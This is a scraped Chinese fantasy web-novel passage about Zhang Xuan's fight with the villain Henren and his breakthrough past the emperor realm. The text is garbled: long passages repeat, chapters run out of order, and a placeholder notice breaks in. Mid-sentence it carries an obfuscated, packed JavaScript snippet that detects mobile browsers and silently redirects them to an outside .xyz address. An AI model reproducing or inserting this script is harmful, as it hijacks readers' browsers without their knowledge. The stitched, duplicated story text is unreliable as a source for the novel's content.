和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241749|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第210章回府 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 